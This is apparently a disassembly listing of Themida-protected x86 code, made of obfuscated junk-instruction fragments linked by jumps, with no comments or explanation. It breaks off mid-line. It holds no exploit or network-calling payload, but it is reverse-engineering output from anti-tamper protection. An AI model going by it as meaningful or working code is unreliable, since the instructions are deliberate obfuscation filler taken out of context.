sub_556F29 loc_557050: ; CODE XREF: sub_556F29+1j push edi mov edi, 70CB0F3Fh xor edi, 14995F43h push ebx jmp loc_55F365 ; END OF FUNCTION CHUNK FOR sub_556F29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557062: ; CODE XREF: sub_559C84-53D3j add ebx, 502056CDh mov edx, ebx pop ebx jmp loc_55821D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557070: ; DATA XREF: Themida_:00553354o push dword ptr [esp] jmp loc_555728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557078: ; CODE XREF: sub_559C84+D99j add ebp, 4 jmp loc_5567DD ; --------------------------------------------------------------------------- loc_557083: ; CODE XREF: sub_559C84+32B3j mov dl, 6Ch mov ch, dl jmp loc_556FE9 ; --------------------------------------------------------------------------- loc_55708C: ; CODE XREF: sub_559C84-661Dj mov dl, 53h jmp loc_556931 ; --------------------------------------------------------------------------- loc_557093: ; CODE XREF: sub_559C84-5AF1j pop esp mov ax, word ptr [esp-4+arg_0] push edi push 165Eh mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] pop edi add esp, 4 push ebx mov ebx, 4 jmp loc_5587FC ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55991D loc_5570BD: ; CODE XREF: sub_55991D+7j sub ebp, 4E3477F4h sub ebp, 0C6425842h add ecx, ebp jmp loc_55CB3B ; END OF FUNCTION CHUNK FOR sub_55991D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5570D0: ; CODE XREF: sub_559C84-56EFj xor edi, eax sub edi, 7B144519h add edi, 0D38E6630h add ebx, 2133144Fh add ebx, edi push ecx mov ecx, 2133144Fh sub ebx, ecx pop ecx mov edi, [esp+20h+var_20] add esp, 4 jmp loc_55C41B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5570FA: ; CODE XREF: Themida_:0055F053j mov [esp], ebx mov ebx, 2 sub esi, 22E361EFh add esi, ebx jmp loc_55FC40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55710F: ; CODE XREF: sub_559C84-43A6j add al, 0E7h and al, 70h shl al, 3 inc al add al, 0Ch sub dh, al pop eax sub al, 0F5h jmp loc_55496F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_559D7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55712D: ; CODE XREF: sub_559C84+26E8j shl eax, cl jmp loc_5572FA ; --------------------------------------------------------------------------- loc_557134: ; CODE XREF: sub_559C84-5219j push 5A2107E8h push [esp+52h+var_52] pop edx add esp, 4 push edx not [esp+52h+var_52] pop edx jmp loc_55F134 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D58 loc_55714D: ; CODE XREF: sub_553D58+BF1Bj sub al, bl mov ebx, [esp+4+var_4] add esp, 4 sub al, 0B7h add al, ch jmp loc_55ECBD ; END OF FUNCTION CHUNK FOR sub_553D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557161: ; CODE XREF: sub_559C84-5164j mov edx, esp jmp loc_553F01 ; --------------------------------------------------------------------------- loc_557168: ; CODE XREF: sub_559C84-2E4Ej and al, ch pop ecx not al sub al, 0BAh dec al jmp loc_55A78F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557176: ; CODE XREF: Themida_:0055471Ej add dword ptr [esp+4], 19DF7D97h jmp loc_55957C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557183: ; CODE XREF: sub_559C84-4B2Bj add edi, esi pop esi xor edi, [esp-16h+arg_10+2] xor [esp-16h+arg_10+2], edi xor edi, [esp-16h+arg_10+2] mov esp, [esp-16h+arg_10+2] jmp loc_554A69 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_557197: ; CODE XREF: Themida_:0055F9BEj mov [esp], esi mov esi, 4 jmp loc_55A514 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5571A4: ; CODE XREF: sub_559C84-9EBj pop esp add [esp-1Ah+arg_18+2], ebp push ebp jmp loc_556829 ; --------------------------------------------------------------------------- loc_5571AF: ; CODE XREF: sub_559C84+1012j sub esi, 0A8546286h jmp loc_55A7EE ; --------------------------------------------------------------------------- loc_5571BA: ; CODE XREF: sub_559C84+3490j shr ebx, 4 jmp loc_5548AB ; --------------------------------------------------------------------------- loc_5571C2: ; CODE XREF: sub_559C84+2E99j add ecx, edx mov edx, [esp-16h+arg_10+2] add esp, 4 xor ecx, ebp push [esp-1Ah+arg_14+2] jmp loc_55C714 ; --------------------------------------------------------------------------- loc_5571D7: ; CODE XREF: sub_559C84-4CBBj add ebx, 127C0436h sub ebx, ebp jmp loc_55D83B ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5571E4 proc near ; CODE XREF: sub_559C84+1EF8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00557E0D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00558A17 SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], esi mov si, 3681h shr si, 3 not si xor si, 0E44Fh mov di, si mov esi, [esp+4+var_4] add esp, 4 push ebp mov bp, 7136h add bp, 0D5C5h and di, bp pop ebp shr di, 1 jmp loc_558A17 sub_5571E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55721C: ; CODE XREF: sub_559C84-3EFEj push ecx neg [esp+62h+var_64+2] pop ecx or ecx, 4E6F7449h jmp loc_555B06 ; --------------------------------------------------------------------------- loc_55722C: ; CODE XREF: sub_559C84-5CAj dec ecx or ecx, 23435F0h jmp loc_55973E ; --------------------------------------------------------------------------- loc_557238: ; CODE XREF: sub_559C84+119Bj add edx, 9CF4B908h add esi, edx pop edx jmp loc_557647 ; --------------------------------------------------------------------------- loc_557246: ; CODE XREF: sub_559C84-627Ej not bh jmp loc_55CB2B ; --------------------------------------------------------------------------- loc_55724D: ; CODE XREF: sub_559C84-5B9Ej add esp, 4 push eax push esi mov esi, 3D8B7DE0h xor esi, 3D8B7DE2h mov eax, esi pop esi add edx, eax mov eax, [esp+0] add esp, 4 jmp loc_55FA5A ; --------------------------------------------------------------------------- loc_55726D: ; CODE XREF: sub_559C84+159Dj mov esi, 4C950893h sub [esp-4+arg_4], 3BE3639Eh sub [esp-4+arg_4], esi jmp loc_55DE12 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557920 loc_557283: ; CODE XREF: sub_557920+9j push ecx push 4A8E6D0Fh mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_558721 ; END OF FUNCTION CHUNK FOR sub_557920 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5559F0 loc_557294: ; CODE XREF: sub_5559F0+3068j push esi mov esi, 7D5A622Bh inc esi neg esi add esi, 7D5A622Eh jmp loc_55E89E ; END OF FUNCTION CHUNK FOR sub_5559F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5572A8: ; CODE XREF: sub_559C84-2186j mov [esp-4+arg_0], edx mov edx, 8A4F15h sub esi, 593D3428h sub esi, edx add esi, 593D3428h mov edx, [esp-4+arg_0] jmp loc_555058 ; --------------------------------------------------------------------------- loc_5572C6: ; CODE XREF: sub_559C84-176Dj push ax mov al, 18h sub esp, 4 mov [esp+2+var_4+2], edx jmp loc_55CD47 ; --------------------------------------------------------------------------- loc_5572D5: ; CODE XREF: sub_559C84+48ADj not ebp neg ebp jmp loc_55F165 ; --------------------------------------------------------------------------- loc_5572DE: ; CODE XREF: sub_559C84+39CDj mov [esp+2+var_4+2], edi jmp loc_5557E4 ; --------------------------------------------------------------------------- loc_5572E6: ; CODE XREF: sub_559C84+3095j pop esi add edx, 4 jmp loc_55C336 ; --------------------------------------------------------------------------- loc_5572EF: ; CODE XREF: sub_559C84+37B0j or ecx, 31787712h jmp loc_55E826 ; --------------------------------------------------------------------------- loc_5572FA: ; CODE XREF: sub_559C84-2B55j push edx push 0FFFFFFFFh push [esp+10h+var_10] pop edx jmp loc_55BD96 ; --------------------------------------------------------------------------- loc_557309: ; CODE XREF: sub_559C84-5749j mov [esp+34h+var_34], eax jmp loc_557C8B ; --------------------------------------------------------------------------- loc_557311: ; CODE XREF: sub_559C84+3A12j neg ebp or ebp, 718C3E07h dec ebp push edi mov edi, 0AFC4D11Ch sub ebp, edi jmp loc_55B990 ; --------------------------------------------------------------------------- loc_557327: ; CODE XREF: sub_559C84-3CC4j sub bx, ax sub bx, 64E5h push ax mov ax, 3A62h push edi mov di, 1872h inc di or di, 5E8Dh jmp loc_554B9F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_557346: ; CODE XREF: sub_557976-2962j pop edx sub al, 0BEh add al, bl push edx jmp loc_5562CA ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557351: ; CODE XREF: sub_559C84-914j xor ebx, eax jmp loc_555201 ; --------------------------------------------------------------------------- loc_557358: ; CODE XREF: sub_559C84+74Ej sub bl, al add bl, 19h sub bl, 28h add bl, 7Eh push edx push 787924A7h jmp loc_554F63 ; --------------------------------------------------------------------------- loc_55736E: ; CODE XREF: sub_559C84-28AEj mov edi, 70B94270h sub ebp, edi mov edi, [esp+5Ch+var_5C] add esp, 4 jmp loc_55CAFC ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557380 proc near ; CODE XREF: sub_559C84-1E7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp push esi xor [esp+8+var_8], 4AA96FB4h jmp loc_55B0DE sub_557380 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557393: ; CODE XREF: sub_559C84-A51j pop edx jmp loc_55944E ; --------------------------------------------------------------------------- loc_557399: ; CODE XREF: sub_559C84+3EC3j push edx push 67944129h jmp loc_55371D ; --------------------------------------------------------------------------- loc_5573A4: ; CODE XREF: sub_559C84-25FEj push edx mov dh, 0A8h shr dh, 8 shr dh, 5 push eax mov al, 6 inc al neg al not al neg al xor al, 36h and dh, al pop eax sub dh, 0D3h jmp loc_55E96C ; --------------------------------------------------------------------------- loc_5573C5: ; CODE XREF: sub_559C84+1259j push esi mov esi, esp push 7E8h mov [esp+68h+var_6A+2], ebp mov ebp, 70B94274h push edi jmp loc_55736E ; --------------------------------------------------------------------------- loc_5573DB: ; CODE XREF: sub_559C84+5C5j add al, bl jmp loc_553B72 ; --------------------------------------------------------------------------- loc_5573E2: ; CODE XREF: sub_559C84+2816j pop ecx add ebx, 429A5D6Dh mov ecx, ebx mov ebx, [esp+68h+var_6A+2] add esp, 4 push ecx mov ebp, [esp+68h+var_6A+2] add esp, 4 jmp loc_559565 ; --------------------------------------------------------------------------- loc_557400: ; CODE XREF: sub_559C84+4257j xchg edi, [esp+64h+var_64] jmp loc_553D19 ; --------------------------------------------------------------------------- loc_557408: ; CODE XREF: sub_559C84+4A3Dj push esi mov esi, esp push 6263h mov [esp+0], ebp push esi push ebx push 4DE27810h pop ebx sub ebx, 4DE2780Ch mov esi, ebx mov ebx, [esp+0] jmp loc_557AF0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55698E loc_55742B: ; CODE XREF: sub_55698E+2691j mov ch, bl pop ebx jmp loc_55C6D3 ; END OF FUNCTION CHUNK FOR sub_55698E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557433: ; CODE XREF: sub_559C84-3E21j add ebx, 4 push ecx push esi push 59484D84h jmp loc_55354F ; --------------------------------------------------------------------------- loc_557445: ; CODE XREF: sub_559C84-621j add ebp, 4 add ebp, 4 xchg ebp, [esp+5Ah+var_5C+2] pop esp or eax, eax jz loc_55D1AD push dword ptr [edi+1Ch] push [esp+5Ah+var_5C+2] jmp loc_559573 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F608 loc_557465: ; CODE XREF: sub_55F608-816Aj pop esp mov [esp-4+arg_0], edx jmp loc_55BE42 ; END OF FUNCTION CHUNK FOR sub_55F608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55746E: ; CODE XREF: sub_559C84+F78j not al inc al dec al jmp loc_55C1DE ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F608 loc_557479: ; CODE XREF: sub_55F608-1475j mov esi, esp push edx mov edx, 783253DAh sub edx, 4C266267h and edx, 42903DBAh not edx sub edx, 0FFFFCEC9h add esi, edx pop edx sub esi, 4 xchg esi, [esp-4+arg_0] jmp loc_557465 ; END OF FUNCTION CHUNK FOR sub_55F608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E425 loc_5574A3: ; CODE XREF: sub_55E425-75F6j sub esi, edi add esi, 7C471701h pop edi xchg esi, [esp+0] pop esp mov [esp-4+arg_0], eax mov eax, esp add eax, 4 add eax, 2 xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] shl word ptr [esp-4+arg_0], cl pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_55E425 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5574D3: ; CODE XREF: sub_559C84-343Dj pop edx mov dl, 0E9h jmp loc_55CD2F ; --------------------------------------------------------------------------- loc_5574DB: ; CODE XREF: sub_559C84-221Aj add ecx, esi pop esi add ecx, 2 xor ecx, [esp+14h+var_14] xor [esp+14h+var_14], ecx xor ecx, [esp+14h+var_14] mov esp, [esp+14h+var_14] shr word ptr [esp+14h+var_14], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5574F7: ; CODE XREF: sub_559C84+3A1Bj push [esp+18h+var_18] jmp loc_557ECA ; --------------------------------------------------------------------------- loc_5574FF: ; CODE XREF: sub_559C84-188j mov esi, 0EAB7B8Bh xor esi, ecx pop ecx mov edi, esi mov esi, [esp+18h+var_18] jmp loc_557FF7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- add esp, 4 push esi mov esi, 4 add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp push ecx jmp loc_55BCC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55752D: ; CODE XREF: sub_555BE3+356Ej add [esp+8+var_8], 4 pop edi add edi, 4 push 466Ah mov [esp+8+var_8], eax push ebx mov ebx, 7DBE15D2h shl ebx, 2 xor ebx, 7B540CD0h shr ebx, 6 sub ebx, 236B16Ch mov eax, ebx pop ebx add edi, eax pop eax jmp loc_558253 ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557566: ; CODE XREF: sub_559C84-3BAEj push 5EEBh mov [esp+48h+var_4A+2], eax push ebx jmp loc_559E43 ; --------------------------------------------------------------------------- loc_557574: ; CODE XREF: sub_559C84+28F3j mov esp, [esp+4Ch+var_4E+2] mov [esp+4Ch+var_4E+2], ebx sub esp, 4 mov [esp+50h+var_52+2], esp jmp loc_559585 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_557588: ; CODE XREF: sub_55590A+12D1j mov [esp+4+var_4], esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] mov esp, [esp+0] jmp loc_55A9E5 ; END OF FUNCTION CHUNK FOR sub_55590A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55759B: ; CODE XREF: sub_559C84+21EAj mov edi, ecx pop ecx shl edi, 8 and edi, 3C120C49h jmp loc_558E87 ; --------------------------------------------------------------------------- loc_5575AC: ; CODE XREF: sub_559C84+31E0j mov eax, 731C2BA6h add eax, 0B9FBDF57h and ebx, eax pop eax add ebx, 0D2F7F5F3h mov esi, ebx mov ebx, [esp+48h+var_4A+2] add esp, 4 and ebx, esi mov esi, [esp+44h+var_46+2] add esp, 4 or ebx, ebx jnz loc_55BAC5 sub esp, 4 mov [esp+44h+var_46+2], edx push esp jmp loc_5564F1 ; --------------------------------------------------------------------------- loc_5575E6: ; CODE XREF: sub_559C84+31CCj mov edi, 7159534Eh jmp loc_55D89B ; --------------------------------------------------------------------------- loc_5575F0: ; CODE XREF: sub_559C84-51E9j sub [esp+52h+var_4E], edx jmp loc_557FED ; --------------------------------------------------------------------------- loc_5575F9: ; CODE XREF: sub_559C84+1413j add esp, 4 xchg ebp, [esp+4Eh+var_4E] jmp loc_554932 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx add ecx, 4 jmp loc_55E597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559A2E loc_557616: ; CODE XREF: sub_559A2E+6j sub bh, ch mov ecx, [esp+0] push edi push esp pop edi add edi, 4 jmp loc_5558F8 ; END OF FUNCTION CHUNK FOR sub_559A2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E611 loc_557629: ; CODE XREF: sub_55E611+3j mov [esp+0], edi push edx jmp loc_55E159 ; END OF FUNCTION CHUNK FOR sub_55E611 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5591C7 loc_557632: ; CODE XREF: sub_5591C7-3DA6j add eax, edi jmp loc_55BD76 ; END OF FUNCTION CHUNK FOR sub_5591C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557639: ; CODE XREF: sub_559C84-4531j add esp, 4 xor edx, [esp+44h+var_46+2] jmp loc_554B25 ; --------------------------------------------------------------------------- loc_557647: ; CODE XREF: sub_559C84-2A43j push esi push [esp+5Eh+var_5C+2] pop esi pop [esp+5Eh+var_60+2] pop esp jmp sub_55F569 ; --------------------------------------------------------------------------- loc_557656: ; CODE XREF: sub_559C84-45E7j add bl, al sub bl, 0DCh push dx jmp loc_555349 ; --------------------------------------------------------------------------- loc_557662: ; CODE XREF: sub_559C84-21F7j add bl, dl jmp loc_55595D ; --------------------------------------------------------------------------- loc_557669: ; CODE XREF: sub_559C84+19B9j pop eax add dl, 0A5h neg dl add dl, 0ABh add dl, bl mov ebx, [esp+4Ah+var_4A] add esp, 4 add al, dl mov edx, [esp+46h+var_46] add esp, 4 push ecx push eax mov ah, 22h jmp loc_5573A4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55929E loc_55768B: ; CODE XREF: sub_55929E-3AC9j mov ebp, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], ax jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_55929E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5576A0: ; CODE XREF: sub_559C84+5AC9j mov esp, [esp+4Ah+var_4A] mov [esp+4Ah+var_4A], ebp mov ebp, 95C63EEh sub ebp, 1 push edx mov edx, 714F15D3h and edx, 1E25C7Bh or edx, 6EEB746Bh push edi mov edi, 52052E35h and edx, edi pop edi not edx dec edx xor edx, 0B4A2B8A0h sub ebp, edx pop edx and ecx, ebp mov ebp, [esp+4Ah+var_4A] add esp, 4 shr ecx, 7 sub esp, 4 mov [esp+4Ah+var_4A], ecx jmp sub_55E640 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5576EE proc near ; DATA XREF: Themida_:0055349Co lodsd jmp sub_55FA73 sub_5576EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5576F4: ; CODE XREF: sub_559C84+387Ej push [esp+4Ah+var_4A] jmp loc_559E13 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5576FC: ; CODE XREF: Themida_:00556BAFj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55D1B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557711: ; CODE XREF: sub_559C84-516Cj mov [esp+46h+var_46], esp add [esp+46h+var_46], 4 pop ebx jmp loc_559AE6 ; --------------------------------------------------------------------------- loc_55771E: ; CODE XREF: sub_559C84+210Dj xor edx, [esp+42h+var_42] pop esp push eax jmp loc_555AB1 ; --------------------------------------------------------------------------- loc_557728: ; CODE XREF: sub_559C84-6CFj add eax, 4 xchg eax, [esp+42h+var_42] pop esp push esi mov esi, esp jmp loc_55A08D ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557739 proc near ; CODE XREF: sub_559C84-4309j ; FUNCTION CHUNK AT 005540DA SIZE 00000009 BYTES push ebx mov ebx, edx mov [edi+24h], ebx pop ebx push dword ptr [esp+0] pop edx add esp, 4 xor edx, edx push 7280h mov [esp+0], ebx push dword ptr [esp+0] jmp loc_5540DA sub_557739 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557759: ; CODE XREF: sub_559C84+1E6j mov ecx, ebp pop ebp add ebp, 745301EEh add ebp, 2C173075h add ebp, ecx sub ebp, 2C173075h jmp loc_556BF0 ; --------------------------------------------------------------------------- loc_557775: ; CODE XREF: sub_559C84+4E7Aj mov edi, 778161C5h sub ebx, edi pop edi jmp loc_55A9C1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_557782: ; CODE XREF: sub_555BE3+9101j add ecx, edi sub ecx, 0DD96B86h pop edi xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] push ebp push ebx mov ebx, 20E9753Ch add ebx, 39C93D1Ah xor ebx, 549823E4h add ebx, 1191603Fh shl ebx, 6 sub ebx, 0D85854DEh mov ebp, ebx pop ebx inc ebp xor ebp, 16A42767h add edi, ebp pop ebp add edi, 2 xchg edi, [esp+0] pop esp movsx cx, al push edi jmp loc_55C55B ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_5577D4: ; CODE XREF: sub_55590A+1651j push esi mov esi, 1042146Fh jmp loc_558F74 ; END OF FUNCTION CHUNK FOR sub_55590A ; =============== S U B R O U T I N E ======================================= sub_5577DF proc near ; CODE XREF: sub_559C84+2F81j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F2A8 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 9C307587h sub edi, edx pop edx push esi jmp loc_55F2A8 sub_5577DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5577F6: ; CODE XREF: sub_559C84-41B0j not eax add eax, 2EC3180h push eax jmp loc_553723 ; --------------------------------------------------------------------------- loc_557803: ; CODE XREF: sub_559C84+1735j push eax push ecx mov cl, 47h jmp loc_55E204 ; --------------------------------------------------------------------------- loc_55780C: ; CODE XREF: sub_559C84+51C9j add ebx, edi pop edi push ecx mov ecx, 44D64EA8h xor ecx, 330E203Bh and ecx, 54076F17h add ecx, 1 push ebx jmp loc_55B7E1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F9FD loc_55782D: ; CODE XREF: sub_55F9FD-984Cj add esp, 2 add bl, al sub bl, 63h jmp loc_55F535 ; END OF FUNCTION CHUNK FOR sub_55F9FD ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557843: ; CODE XREF: sub_559C84+597Fj add [esp+62h+var_64+2], 4 mov ebp, [esp+62h+var_64+2] add esp, 4 jmp sub_55929E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_557852: ; CODE XREF: sub_558BA2+BEEj mov edx, 5F932714h jmp loc_55EAA8 ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553EA loc_55785C: ; CODE XREF: sub_5553EA+6j sub ecx, 1A2378ACh add ecx, ebx add ecx, 1A2378ACh pop ebx xor ecx, [esp+0] jmp loc_55E1E9 ; END OF FUNCTION CHUNK FOR sub_5553EA ; --------------------------------------------------------------------------- loc_557873: ; CODE XREF: Themida_:005581BEj mov edx, edi pop edi xor edx, 4610897h shr edx, 7 and edx, 4D7338Fh or edx, 2F483FC7h push eax mov eax, 2DBA661Eh xor edx, eax jmp loc_55E16C ; --------------------------------------------------------------------------- loc_557898: ; CODE XREF: Themida_:0055ED6Dj add esi, 740910F5h add esi, 4B5B7998h xor esi, 4475F75Bh sub ecx, esi pop esi add ecx, 4CD736AAh pop ebp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5578C9: ; CODE XREF: sub_559C84+B40j mov esi, 49851363h and esi, 0F377243h push edx jmp loc_559156 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_5578DA: ; CODE XREF: sub_558BA2+BCAj pop edi xchg eax, [esp+4+var_4] pop esp jmp loc_55978F ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- loc_5578E4: ; DATA XREF: Themida_:005534B8o mov ax, [esp] jmp loc_55CEF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5578ED: ; CODE XREF: sub_559C84-37CAj push esi push 0 jmp loc_55FAAB ; --------------------------------------------------------------------------- loc_5578F8: ; CODE XREF: sub_559C84+4929j add ebx, 186104E0h pop ebp and [edi+1Ch], ebx push [esp+42h+var_42] pop ebx add esp, 4 jmp loc_553A25 ; --------------------------------------------------------------------------- loc_55790E: ; CODE XREF: sub_559C84-1548j push [esp+3Eh+var_3E] pop ebx add esp, 4 add esp, 4 jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557920 proc near ; CODE XREF: sub_559C84+1687j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00557283 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00558721 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055EEDC SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_557283 sub_557920 endp ; --------------------------------------------------------------------------- loc_55792E: ; CODE XREF: Themida_:00553E3Aj add ebx, 4 jmp loc_558EB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557939: ; CODE XREF: sub_559C84+865j xor eax, ebx pop ebx add ebx, eax pop eax add ebx, 4B5D50D5h sub ebx, eax sub ebx, 4B5D50D5h push esi mov esi, 51044052h sub ebx, esi pop esi push edi push esi mov esi, 5F04E4Ah mov edi, 57D7BD5Ah sub edi, esi pop esi add ebx, edi pop edi push ebx mov ebx, esp add ebx, 4 jmp loc_558E2A ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_557976 proc near ; CODE XREF: sub_559C84+5B75j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0055433C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00555012 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005562CA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00557346 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005590F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005593D5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055F903 SIZE 00000029 BYTES push ebx push eax push ecx mov cl, 70h mov ah, cl pop ecx mov bl, ah push [esp+8+var_8] pop eax add esp, 4 and bl, 84h push edx mov dh, 49h shl dh, 2 jmp loc_55F903 sub_557976 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_557995: ; CODE XREF: sub_559C84+8B3j mov [esp+32h+var_34+2], ecx push edx jmp loc_55CFC1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55799E proc near ; CODE XREF: sub_559C84-6566j push ebp mov ebp, 5BF2504Ch add edx, ebp pop ebp xor edx, 65C1184Fh jmp loc_55A649 sub_55799E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5579B2: ; CODE XREF: 